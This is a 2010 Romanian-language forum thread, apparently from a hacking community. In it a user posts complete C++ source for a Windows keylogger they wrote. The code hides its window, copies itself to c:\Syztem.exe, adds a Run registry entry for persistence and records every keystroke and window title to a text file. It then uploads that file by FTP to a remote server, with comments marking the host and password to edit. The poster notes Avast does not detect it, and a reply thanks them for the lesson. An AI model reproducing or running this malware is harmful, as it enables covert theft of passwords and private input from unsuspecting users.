parazitul29 Posted August 9, 2010 Report Posted August 9, 2010 un keylogger in c++ facut de mine#include<windows.h>#include<Wininet.h>#include<iostream.h>#include<fstream.h> short key; char szKey[MAX_PATH]; int scan;ftpUpload(){ HINTERNET hOpen; HINTERNET hConnect; Sleep(200000);\\intervalul de timp in care se uploadeaza pe sv hOpen=InternetOpen ("for rstcenter",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); hConnect = InternetConnect (hOpen,"host",INTERNET_INVALID_PORT_NUMBER,"username","parola",INTERNET_SERVICE_FTP,0,0);\\modificati hostul,numele si parola FtpDeleteFile(hConnect,"test.txt"); FtpPutFile(hConnect,"c:\\test.txt","test.txt",FTP_TRANSFER_TYPE_ASCII,0);\\c:\\test.txt fisierul care va fi uploadat si test.txt numele sub care va fi pus pe sv InternetCloseHandle(hConnect); Sleep(10); InternetCloseHandle(hOpen); ExitThread(0);}copy(){ char FileName[MAX_PATH]; HINSTANCE hInstance=GetModuleHandle(NULL); HKEY hkvirus; char Virusname[100]="c:\\Syztem.exe";\\numele virusului GetModuleFileName(hInstance, FileName, MAX_PATH); CopyFile(FileName,"c:\\Syztem.exe",FALSE);\\unde se copiaza RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0L,KEY_ALL_ACCESS,&hkvirus); RegSetValueEx(hkvirus,"SYZTEM",0,REG_SZ,(const unsigned char*)Virusname,sizeof(Virusname));}taste() { while(1) { Sleep(10); for(key=0;key<256;key++) if(GetAsyncKeyState(key)==-32767) { scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); GetKeyNameText(scan << 16,szKey,MAX_PATH); ofstream file( "c:\\test.txt", ios::app );\\ fisieruunde se scriu tastele file<<szKey; file.close(); }} }void main(void){ AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); copy(); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&ftpUpload, NULL, 0, NULL); taste();}daca vreti sa se scrie si titlul ferestrei deschisa la acel momentbagati in functia main CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&WindowTitle, NULL, 0, NULL);si adaugati o noua functieWindowTitle(){ char title[MAX_PATH]; Sleep(120000); GetWindowText(GetForegroundWindow(), title, 100); ofstream file( "c:\\test.txt", ios::app ); file<<title; file.close(); ExitThread(0);}problema e ca in fisierul unde se scriu tastele va fi cam greu de citit, va fi dezordonat rau de tot....avast nu-l detecteaza de altele nu stiuam pus comentarii pe unde trebuie sa modifice pentru aia care nu stiukeylogerul este foarte simplu fara api hooking,detouring m-am inspirat putin dintr-un cod de al lui slick cu un keylogger simplu care scria intr-un txt tastele apasate Quote
m_mihai92 Posted August 9, 2010 Report Posted August 9, 2010 frumos, cu ocazia asta am invatat si eu cum se face un keylogger de baza . Multumesc Quote